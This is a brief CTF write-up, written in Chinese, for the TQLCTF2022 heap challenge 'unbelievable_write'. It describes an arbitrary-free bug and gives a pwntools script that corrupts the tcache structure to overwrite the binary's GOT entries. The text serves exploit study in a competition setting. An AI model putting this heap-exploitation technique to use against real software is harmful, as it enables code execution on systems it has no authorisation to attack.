TQLCTF2022
unbelievable_write
libc-2.31
没有泄露,没有pie。
c1函数malloc + readline后立即free掉了堆块。
c2函数可以堆上任意地址free,难点在于size检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import *
filename = 'pwn2022' p = process(filename)
def cmd(index): p.sendlineafter('> ',str(index))
def add(size,content): cmd(1) p.sendline(str(size)) p.sendline(content)
def free(index): cmd(2) p.sendline(str(index))
target = 0x404080 prt = 0x4040D0 free_got = 0x404018
free(-0x290)
payload = p64(0x404018)*0x40 + p64(0x404080)*0x40 add(0x280,payload) payload = p64(0x4013be) + p64(0x401040) + p64(0x401050) add(0xa0,payload) add(0x320,'1111')
gdb.attach(p)
p.interactive()
|